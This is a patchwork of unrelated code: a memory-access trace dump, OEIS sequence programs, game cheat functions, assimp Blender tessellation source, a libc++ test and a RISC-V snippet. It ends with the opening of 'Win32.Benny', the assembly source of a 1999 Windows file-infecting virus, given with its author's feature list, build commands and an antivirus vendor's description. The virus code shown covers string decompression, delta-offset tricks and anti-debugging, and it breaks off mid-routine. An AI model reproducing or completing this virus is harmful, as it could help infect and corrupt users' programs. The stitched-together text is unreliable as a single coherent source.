False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}} {'51': 21829} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
; A023546: Convolution of natural numbers >= 2 and A023531. ; 0,2,3,4,7,9,11,13,17,20,23,26,29,34,38,42,46,50,54,60,65,70,75,80,85,90,97,103,109,115,121,127,133,139,147,154,161,168,175,182,189,196,203,212,220,228,236,244,252,260,268,276,284,294,303,312,321 lpb $0 add $1,$0 sub $0,2 add $2,1 trn $0,$2 add $1,1 lpe mov $0,$1
; A279521: Maximum numbers of single-direction edges in leveled binary trees with n nodes. ; 0,1,1,2,3,3,3,4,5,6,7,7,7,7,7,8,9,10,11,12,13,14,15,15,15,15,15,15,15,15,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127 lpb $0,1 sub $0,1 trn $1,$0 add $2,1 sub $2,$1 trn $0,$2 mov $1,$2 mul $2,2 lpe
#include "cheat.h" #include "player.h" #include "keys.h" #include "tools.h" #include <QtMath> extern Player player; extern Tools tools; extern Keys keys; extern int mode; void Cheat::slotCheatHp() { // Cheat: Hp+100 player.SetHp(player.GetHp() + 100); emit change(); } void Cheat::slotCheatAttack() { // Cheat: Attack+3 player.SetAttack(player.GetAttack() + 3); emit change(); } void Cheat::slotCheatDefend() { // Cheat: Defend+2 player.SetDefend(player.GetDefend() + 2); emit change(); } void Cheat::slotCheatMoney() { // Cheat: Money+50 player.SetMoney(player.GetMoney() + 50); emit change(); } void Cheat::slotCheatLevel() { // Cheat: Level+1, Hp+10, Attack+1, Defend+1 player.LevelUp(); emit change(); } void Cheat::slotCheatRedKey() { // Cheat: RedKey+1 keys.SetRed(keys.GetRed() + 1); emit change(); } void Cheat::slotCheatBlueKey() { // Cheat: BlueKey+1 keys.SetBlue(keys.GetBlue() + 1); emit change(); } void Cheat::slotCheatYellowKey() { // Cheat: YellowKey+1 keys.SetYellow(keys.GetYellow() + 1); emit change(); } void Cheat::slotCheatBook() { // Cheat: Book tools.SetBook(1 - tools.GetBook()); emit change(); } void Cheat::slotCheatSword() { // Cheat: Sword tools.SetSword(1 - tools.GetSword()); if (tools.GetSword()) player.SetAttack(player.GetAttack() + 10); else player.SetAttack(player.GetAttack() - 10); emit change(); } void Cheat::slotCheatShield() { // Cheat: Shield tools.SetShield(1 - tools.GetShield()); if (tools.GetShield()) player.SetDefend(player.GetDefend() + 8); else player.SetDefend(player.GetDefend() - 8); emit change(); } void Cheat::slotCheatMode() { // Cheat: God mode mode = -mode; emit change(); }
; A076662: First differences of A007066. ; 3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2 mov $3,$0 mov $5,2 lpb $5 mov $0,$3 sub $5,1 add $0,$5 mov $4,$0 pow $0,2 lpb $0 sub $0,$4 trn $0,1 add $4,2 lpe mov $2,$5 mul $4,16 lpb $2 mov $1,$4 sub $2,1 lpe lpe lpb $3 sub $1,$4 mov $3,0 lpe div $1,32 add $1,2
/* Open Asset Import Library (assimp) ---------------------------------------------------------------------- Copyright (c) 2006-2013, assimp team All rights reserved. Redistribution and use of this software in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the assimp team, nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission of the assimp team. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ---------------------------------------------------------------------- */ /** @file BlenderTessellator.cpp * @brief A simple tessellation wrapper */ #include "AssimpPCH.h" #ifndef ASSIMP_BUILD_NO_BLEND_IMPORTER #include "BlenderDNA.h" #include "BlenderScene.h" #include "BlenderBMesh.h" #include "BlenderTessellator.h" static const unsigned int BLEND_TESS_MAGIC = 0x83ed9ac3; #if ASSIMP_BLEND_WITH_GLU_TESSELLATE namspace Assimp { template< > const std::string LogFunctions< BlenderTessellatorGL >::log_prefix = "BLEND_TESS_GL: "; } using namespace Assimp; using namespace Assimp::Blender; #ifndef CALLBACK #define CALLBACK #endif // ------------------------------------------------------------------------------------------------ BlenderTessellatorGL::BlenderTessellatorGL( BlenderBMeshConverter& converter ): converter( &converter ) { } // ------------------------------------------------------------------------------------------------ BlenderTessellatorGL::~BlenderTessellatorGL( ) { } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::Tessellate( const MLoop* polyLoop, int vertexCount, const std::vector< MVert >& vertices ) { AssertVertexCount( vertexCount ); std::vector< VertexGL > polyLoopGL; GenerateLoopVerts( polyLoopGL, polyLoop, vertexCount, vertices ); TessDataGL tessData; Tesssellate( polyLoopGL, tessData ); TriangulateDrawCalls( tessData ); } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::AssertVertexCount( int vertexCount ) { if ( vertexCount <= 4 ) { ThrowException( "Expected more than 4 vertices for tessellation" ); } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::GenerateLoopVerts( std::vector< VertexGL >& polyLoopGL, const MLoop* polyLoop, int vertexCount, const std::vector< MVert >& vertices ) { for ( int i = 0; i < vertexCount; ++i ) { const MLoop& loopItem = polyLoop[ i ]; const MVert& vertex = vertices[ loopItem.v ]; polyLoopGL.push_back( VertexGL( vertex.co[ 0 ], vertex.co[ 1 ], vertex.co[ 2 ], loopItem.v, BLEND_TESS_MAGIC ) ); } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::Tesssellate( std::vector< VertexGL >& polyLoopGL, TessDataGL& tessData ) { GLUtesselator* tessellator = gluNewTess( ); gluTessCallback( tessellator, GLU_TESS_BEGIN_DATA, reinterpret_cast< void ( CALLBACK * )( ) >( TessellateBegin ) ); gluTessCallback( tessellator, GLU_TESS_END_DATA, reinterpret_cast< void ( CALLBACK * )( ) >( TessellateEnd ) ); gluTessCallback( tessellator, GLU_TESS_VERTEX_DATA, reinterpret_cast< void ( CALLBACK * )( ) >( TessellateVertex ) ); gluTessCallback( tessellator, GLU_TESS_COMBINE_DATA, reinterpret_cast< void ( CALLBACK * )( ) >( TessellateCombine ) ); gluTessCallback( tessellator, GLU_TESS_EDGE_FLAG_DATA, reinterpret_cast< void ( CALLBACK * )( ) >( TessellateEdgeFlag ) ); gluTessCallback( tessellator, GLU_TESS_ERROR_DATA, reinterpret_cast< void ( CALLBACK * )( ) >( TessellateError ) ); gluTessProperty( tessellator, GLU_TESS_WINDING_RULE, GLU_TESS_WINDING_NONZERO ); gluTessBeginPolygon( tessellator, &tessData ); gluTessBeginContour( tessellator ); for ( unsigned int i = 0; i < polyLoopGL.size( ); ++i ) { gluTessVertex( tessellator, reinterpret_cast< GLdouble* >( &polyLoopGL[ i ] ), &polyLoopGL[ i ] ); } gluTessEndContour( tessellator ); gluTessEndPolygon( tessellator ); } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::TriangulateDrawCalls( const TessDataGL& tessData ) { // NOTE - Because we are supplying a callback to GLU_TESS_EDGE_FLAG_DATA we don't technically // need support for GL_TRIANGLE_STRIP and GL_TRIANGLE_FAN but we'll keep it here in case // GLU tessellate changes or tristrips and fans are wanted. // See: http://www.opengl.org/sdk/docs/man2/xhtml/gluTessCallback.xml for ( unsigned int i = 0; i < tessData.drawCalls.size( ); ++i ) { const DrawCallGL& drawCallGL = tessData.drawCalls[ i ]; const VertexGL* vertices = &tessData.vertices[ drawCallGL.baseVertex ]; if ( drawCallGL.drawMode == GL_TRIANGLES ) { MakeFacesFromTris( vertices, drawCallGL.vertexCount ); } else if ( drawCallGL.drawMode == GL_TRIANGLE_STRIP ) { MakeFacesFromTriStrip( vertices, drawCallGL.vertexCount ); } else if ( drawCallGL.drawMode == GL_TRIANGLE_FAN ) { MakeFacesFromTriFan( vertices, drawCallGL.vertexCount ); } } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::MakeFacesFromTris( const VertexGL* vertices, int vertexCount ) { int triangleCount = vertexCount / 3; for ( int i = 0; i < triangleCount; ++i ) { int vertexBase = i * 3; converter->AddFace( vertices[ vertexBase + 0 ].index, vertices[ vertexBase + 1 ].index, vertices[ vertexBase + 2 ].index ); } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::MakeFacesFromTriStrip( const VertexGL* vertices, int vertexCount ) { int triangleCount = vertexCount - 2; for ( int i = 0; i < triangleCount; ++i ) { int vertexBase = i; converter->AddFace( vertices[ vertexBase + 0 ].index, vertices[ vertexBase + 1 ].index, vertices[ vertexBase + 2 ].index ); } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::MakeFacesFromTriFan( const VertexGL* vertices, int vertexCount ) { int triangleCount = vertexCount - 2; for ( int i = 0; i < triangleCount; ++i ) { int vertexBase = i; converter->AddFace( vertices[ 0 ].index, vertices[ vertexBase + 1 ].index, vertices[ vertexBase + 2 ].index ); } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::TessellateBegin( GLenum drawModeGL, void* userData ) { TessDataGL& tessData = *reinterpret_cast< TessDataGL* >( userData ); tessData.drawCalls.push_back( DrawCallGL( drawModeGL, tessData.vertices.size( ) ) ); } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::TessellateEnd( void* ) { // Do nothing } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::TessellateVertex( const void* vtxData, void* userData ) { TessDataGL& tessData = *reinterpret_cast< TessDataGL* >( userData ); const VertexGL& vertex = *reinterpret_cast< const VertexGL* >( vtxData ); if ( vertex.magic != BLEND_TESS_MAGIC ) { ThrowException( "Point returned by GLU Tessellate was probably not one of ours. This indicates we need a new way to store vertex information" ); } tessData.vertices.push_back( vertex ); if ( tessData.drawCalls.size( ) == 0 ) { ThrowException( "\"Vertex\" callback received before \"Begin\"" ); } ++( tessData.drawCalls.back( ).vertexCount ); } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::TessellateCombine( const GLdouble intersection[ 3 ], const GLdouble* [ 4 ], const GLfloat [ 4 ], GLdouble** out, void* userData ) { ThrowException( "Intersected polygon loops are not yet supported" ); } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::TessellateEdgeFlag( GLboolean, void* ) { // Do nothing } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorGL::TessellateError( GLenum errorCode, void* ) { ThrowException( reinterpret_cast< const char* >( gluErrorString( errorCode ) ) ); } #endif // ASSIMP_BLEND_WITH_GLU_TESSELLATE #if ASSIMP_BLEND_WITH_POLY_2_TRI namespace Assimp { template< > const std::string LogFunctions< BlenderTessellatorP2T >::log_prefix = "BLEND_TESS_P2T: "; } using namespace Assimp; using namespace Assimp::Blender; // ------------------------------------------------------------------------------------------------ BlenderTessellatorP2T::BlenderTessellatorP2T( BlenderBMeshConverter& converter ): converter( &converter ) { } // ------------------------------------------------------------------------------------------------ BlenderTessellatorP2T::~BlenderTessellatorP2T( ) { } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorP2T::Tessellate( const MLoop* polyLoop, int vertexCount, const std::vector< MVert >& vertices ) { AssertVertexCount( vertexCount ); // NOTE - We have to hope that points in a Blender polygon are roughly on the same plane. // There may be some triangulation artifacts if they are wildly different. std::vector< PointP2T > points; Copy3DVertices( polyLoop, vertexCount, vertices, points ); PlaneP2T plane = FindLLSQPlane( points ); aiMatrix4x4 transform = GeneratePointTransformMatrix( plane ); TransformAndFlattenVectices( transform, points ); std::vector< p2t::Point* > pointRefs; ReferencePoints( points, pointRefs ); p2t::CDT cdt( pointRefs ); cdt.Triangulate( ); std::vector< p2t::Triangle* > triangles = cdt.GetTriangles( ); MakeFacesFromTriangles( triangles ); } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorP2T::AssertVertexCount( int vertexCount ) { if ( vertexCount <= 4 ) { ThrowException( "Expected more than 4 vertices for tessellation" ); } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorP2T::Copy3DVertices( const MLoop* polyLoop, int vertexCount, const std::vector< MVert >& vertices, std::vector< PointP2T >& points ) const { points.resize( vertexCount ); for ( int i = 0; i < vertexCount; ++i ) { const MLoop& loop = polyLoop[ i ]; const MVert& vert = vertices[ loop.v ]; PointP2T& point = points[ i ]; point.point3D.Set( vert.co[ 0 ], vert.co[ 1 ], vert.co[ 2 ] ); point.index = loop.v; point.magic = BLEND_TESS_MAGIC; } } // ------------------------------------------------------------------------------------------------ aiMatrix4x4 BlenderTessellatorP2T::GeneratePointTransformMatrix( const Blender::PlaneP2T& plane ) const { aiVector3D sideA( 1.0f, 0.0f, 0.0f ); if ( fabs( plane.normal * sideA ) > 0.999f ) { sideA = aiVector3D( 0.0f, 1.0f, 0.0f ); } aiVector3D sideB( plane.normal ^ sideA ); sideB.Normalize( ); sideA = sideB ^ plane.normal; aiMatrix4x4 result; result.a1 = sideA.x; result.a2 = sideA.y; result.a3 = sideA.z; result.b1 = sideB.x; result.b2 = sideB.y; result.b3 = sideB.z; result.c1 = plane.normal.x; result.c2 = plane.normal.y; result.c3 = plane.normal.z; result.a4 = plane.centre.x; result.b4 = plane.centre.y; result.c4 = plane.centre.z; result.Inverse( ); return result; } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorP2T::TransformAndFlattenVectices( const aiMatrix4x4& transform, std::vector< Blender::PointP2T >& vertices ) const { for ( unsigned int i = 0; i < vertices.size( ); ++i ) { PointP2T& point = vertices[ i ]; point.point3D = transform * point.point3D; point.point2D.set( point.point3D.y, point.point3D.z ); } } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorP2T::ReferencePoints( std::vector< Blender::PointP2T >& points, std::vector< p2t::Point* >& pointRefs ) const { pointRefs.resize( points.size( ) ); for ( unsigned int i = 0; i < points.size( ); ++i ) { pointRefs[ i ] = &points[ i ].point2D; } } // ------------------------------------------------------------------------------------------------ // Yes this is filthy... but we have no choice #define OffsetOf( Class, Member ) ( static_cast< unsigned int >( \ reinterpret_cast<uint8_t*>(&( reinterpret_cast< Class* >( NULL )->*( &Class::Member ) )) - \ static_cast<uint8_t*>(NULL) ) ) inline PointP2T& BlenderTessellatorP2T::GetActualPointStructure( p2t::Point& point ) const { unsigned int pointOffset = OffsetOf( PointP2T, point2D ); PointP2T& pointStruct = *reinterpret_cast< PointP2T* >( reinterpret_cast< char* >( &point ) - pointOffset ); if ( pointStruct.magic != static_cast<int>( BLEND_TESS_MAGIC ) ) { ThrowException( "Point returned by poly2tri was probably not one of ours. This indicates we need a new way to store vertex information" ); } return pointStruct; } // ------------------------------------------------------------------------------------------------ void BlenderTessellatorP2T::MakeFacesFromTriangles( std::vector< p2t::Triangle* >& triangles ) const { for ( unsigned int i = 0; i < triangles.size( ); ++i ) { p2t::Triangle& Triangle = *triangles[ i ]; PointP2T& pointA = GetActualPointStructure( *Triangle.GetPoint( 0 ) ); PointP2T& pointB = GetActualPointStructure( *Triangle.GetPoint( 1 ) ); PointP2T& pointC = GetActualPointStructure( *Triangle.GetPoint( 2 ) ); converter->AddFace( pointA.index, pointB.index, pointC.index ); } } // ------------------------------------------------------------------------------------------------ inline float p2tMax( float a, float b ) { return a > b ? a : b; } // ------------------------------------------------------------------------------------------------ // Adapted from: http://missingbytes.blogspot.co.uk/2012/06/fitting-plane-to-point-cloud.html float BlenderTessellatorP2T::FindLargestMatrixElem( const aiMatrix3x3& mtx ) const { float result = 0.0f; for ( int x = 0; x < 3; ++x ) { for ( int y = 0; y < 3; ++y ) { result = p2tMax( fabs( mtx[ x ][ y ] ), result ); } } return result; } // ------------------------------------------------------------------------------------------------ // Aparently Assimp doesn't have matrix scaling aiMatrix3x3 BlenderTessellatorP2T::ScaleMatrix( const aiMatrix3x3& mtx, float scale ) const { aiMatrix3x3 result; for ( int x = 0; x < 3; ++x ) { for ( int y = 0; y < 3; ++y ) { result[ x ][ y ] = mtx[ x ][ y ] * scale; } } return result; } // ------------------------------------------------------------------------------------------------ // Adapted from: http://missingbytes.blogspot.co.uk/2012/06/fitting-plane-to-point-cloud.html aiVector3D BlenderTessellatorP2T::GetEigenVectorFromLargestEigenValue( const aiMatrix3x3& mtx ) const { float scale = FindLargestMatrixElem( mtx ); aiMatrix3x3 mc = ScaleMatrix( mtx, 1.0f / scale ); mc = mc * mc * mc; aiVector3D v( 1.0f ); aiVector3D lastV = v; for ( int i = 0; i < 100; ++i ) { v = mc * v; v.Normalize( ); if ( ( v - lastV ).SquareLength( ) < 1e-16f ) { break; } lastV = v; } return v; } // ------------------------------------------------------------------------------------------------ // Adapted from: http://missingbytes.blogspot.co.uk/2012/06/fitting-plane-to-point-cloud.html PlaneP2T BlenderTessellatorP2T::FindLLSQPlane( const std::vector< PointP2T >& points ) const { PlaneP2T result; aiVector3D sum( 0.0f ); for ( unsigned int i = 0; i < points.size( ); ++i ) { sum += points[ i ].point3D; } result.centre = sum * ( 1.0f / points.size( ) ); float sumXX = 0.0f; float sumXY = 0.0f; float sumXZ = 0.0f; float sumYY = 0.0f; float sumYZ = 0.0f; float sumZZ = 0.0f; for ( unsigned int i = 0; i < points.size( ); ++i ) { aiVector3D offset = points[ i ].point3D - result.centre; sumXX += offset.x * offset.x; sumXY += offset.x * offset.y; sumXZ += offset.x * offset.z; sumYY += offset.y * offset.y; sumYZ += offset.y * offset.z; sumZZ += offset.z * offset.z; } aiMatrix3x3 mtx( sumXX, sumXY, sumXZ, sumXY, sumYY, sumYZ, sumXZ, sumYZ, sumZZ ); float det = mtx.Determinant( ); if ( det == 0.0f ) { result.normal = aiVector3D( 0.0f ); } else { aiMatrix3x3 invMtx = mtx; invMtx.Inverse( ); result.normal = GetEigenVectorFromLargestEigenValue( invMtx ); } return result; } #endif // ASSIMP_BLEND_WITH_POLY_2_TRI #endif // ASSIMP_BUILD_NO_BLEND_IMPORTER
//===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // UNSUPPORTED: c++98, c++03, c++11 #include <tuple> #include <string> #include <memory> #include <cassert> int main() { #if _LIBCPP_STD_VER > 11 typedef std::unique_ptr<int> upint; std::tuple<upint> t(upint(new int(4))); upint p = std::get<upint>(t); #else #error #endif }
; A267801: Binary representation of the n-th iteration of the "Rule 213" elementary cellular automaton starting with a single ON (black) cell. ; Submitted by Christian Krause ; 1,11,10011,1110011,111110011,11111110011,1111111110011,111111111110011,11111111111110011,1111111111111110011,111111111111111110011,11111111111111111110011,1111111111111111111110011,111111111111111111111110011,11111111111111111111111110011,1111111111111111111111111110011,111111111111111111111111111110011,11111111111111111111111111111110011,1111111111111111111111111111111110011,111111111111111111111111111111111110011,11111111111111111111111111111111111110011 seq $0,267535 ; Binary representation of the n-th iteration of the "Rule 143" elementary cellular automaton starting with a single ON (black) cell. seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
li t0, -1 li t1, 3 slt s6, t0 ,t1
;-------------------------------------; ; Win32.Benny (c) 1999 by Benny ; ;-------------------------------------; ; ; ; ;Author's description ;--------------------- ; ;Welcome to my second Win32 virus! Don't expect any new things, I only ;present u my last lame virus. Here is it... ; ;Features: ;---------- ; - Win32 infector ; - appends to the last section (usualy .reloc) ; - "already infected" mark as my spec. 64bit checksum. ; - no use of absolute addresses, gets GetModuleHandleA API from IAT ; - compressed (API strings only) ; - using memory mapped files for smarter handling of 'em ; - direct action ; - nonencrypted ; - armoured (using SEH), TD32 fails ; ;Targets: ;--------- ; - *.EXE ; - *.SRC ; ;How to build: ;-------------- ; - tasm32 -ml -q -m4 benny.asm ; tlink32 -Tpe -c -x -aa -r benny,,, import32 ; pewrsec benny.exe ; ; ; ;AVP's description ;------------------ ; ;Benny's notes r in "[* *]". ; ; ;This is a direct action (nonmemory resident) parasitic [* compressed *] Win32 ;virus. It searches for PE EXE files in the Windows, Windows system and current ;directories [* shit! It DOESN'T infect Windows/System directories! *], then ;writes itself to the end of the file. The virus has bugs and in many cases ;corrupts files while infecting them [* Sorry, this is my last lame virus *]. ;The virus checks file names and does not infect the files: RUNDLL32.EXE, ;TD32.EXE, TLINK32.EXE, TASM32.EXE [* and NTVDM.EXE *]. While infecting the ;virus increases the size of last file section, writes itself to there and ;modifies necessary PE header fields including program startup address. ; ;The virus contains the "copyright" string: ; ; Win32.Benny (c) 1999 by Benny ; ; ; ;And here is that promised babe: .386p ;386 instructions .model flat ;32bit offset, no segments include PE.inc ;include some useful files include MZ.inc include Useful.inc include Win32api.inc nFile = 1 ;constants for decompress stage nGet = 2 nSet = 3 nModule = 4 nHandle = 5 nCreate = 6 nFind = 7 nFirst = 8 nNext = 9 nClose = 10 nViewOf = 11 nDirectoryA = 12 nEXE = 13 extrn GetModuleHandleA:PROC ;APIs needed by first generation extrn MessageBoxA:PROC extrn ExitProcess:PROC .data db ? ;shut up, tlink32 ! ends .code Start_Virus: pushad ;save all regs call gdelta ve_strings: ;compressed APIs veszKernel32 db 'KERNEL32', 0 veszGetModuleHandleA db nGet, nModule, nHandle, 'A', 0 veszGetVersion db nGet, 'Version', 0 veszIsDebuggerPresent db 'IsDebuggerPresent', 0 veszCreateFileA db nCreate, nFile, 'A', 0 veszFindFirstFileA db nFind, nFirst, nFile, 'A', 0 veszFindNextFileA db nFind, nNext, nFile, 'A', 0 veszFindClose db nFind, nClose, 0 veszSetFileAttributesA db nSet, nFile, 'AttributesA', 0 veszCloseHandle db nClose, nHandle, 0 veszCreateFileMappingA db nCreate, nFile, 'MappingA', 0 veszMapViewOfFile db 'Map', nViewOf, nFile, 0 veszUnmapViewOfFile db 'Unmap', nViewOf, nFile, 0 veszSetFilePointer db nSet, nFile, 'Pointer', 0 veszSetEndOfFile db nSet, 'EndOf', nFile, 0 veszSetFileTime db nSet, nFile, 'Time', 0 veszGetWindowsDirectoryA db nGet, 'Windows', nDirectoryA, 0 veszGetSystemDirectoryA db nGet, 'System', nDirectoryA, 0 veszGetCurrentDirectoryA db nGet, 'Current', nDirectoryA, 0, 0 veszExe db '*', nEXE, 0 veszScr db '*.SCR', 0 veszNames db 'NTVDM', nEXE, 0 ;files, which we wont db 'RUNDLL32', nEXE, 0 ;infect db 'TD32', nEXE, 0 db 'TLINK32', nEXE, 0 db 'TASM32', nEXE, 0 vszNumberOfNamez = 5 end_ve_stringz db 0ffh ;end of compressed ;strings string_subs: ;string substitutes db 'File', 0 db 'Get', 0 db 'Set', 0 db 'Module', 0 db 'Handle', 0 db 'Create', 0 db 'Find', 0 db 'First', 0 db 'Next', 0 db 'Close', 0 db 'ViewOf', 0 db 'DirectoryA', 0 db '.EXE', 0 num = 14 ;number of 'em gdelta: ;get delta offset mov esi, [esp] mov ebp, esi sub ebp, offset ve_strings lea edi, [ebp + v_strings] next_ch:lodsb ;decompressing stage test al, al je copy_b cmp al, 0ffh je end_unpacking cmp al, num+1 jb packed copy_b: stosb jmp next_ch packed: push esi lea esi, [ebp + string_subs] mov cl, 1 mov dl, al lodsb packed2:test al, al je _inc_ packed3:cmp cl, dl jne un_pck p_cpy: stosb lodsb test al, al jne p_cpy pop esi jmp next_ch un_pck: lodsb test al, al jne packed3 _inc_: inc ecx jmp un_pck seh_fn: @SEH_RemoveFrame ;remove exception frame popad ;heal stack call [ebp + MyGetVersion] ;get version of windoze cmp eax, 80000000h ;WinNT ? jb NT_debug_trap cmp ax, 0a04h ;Win95 ? jb seh_rs call IsDebugger ;Win98, check, if debugger active jecxz seh_rs 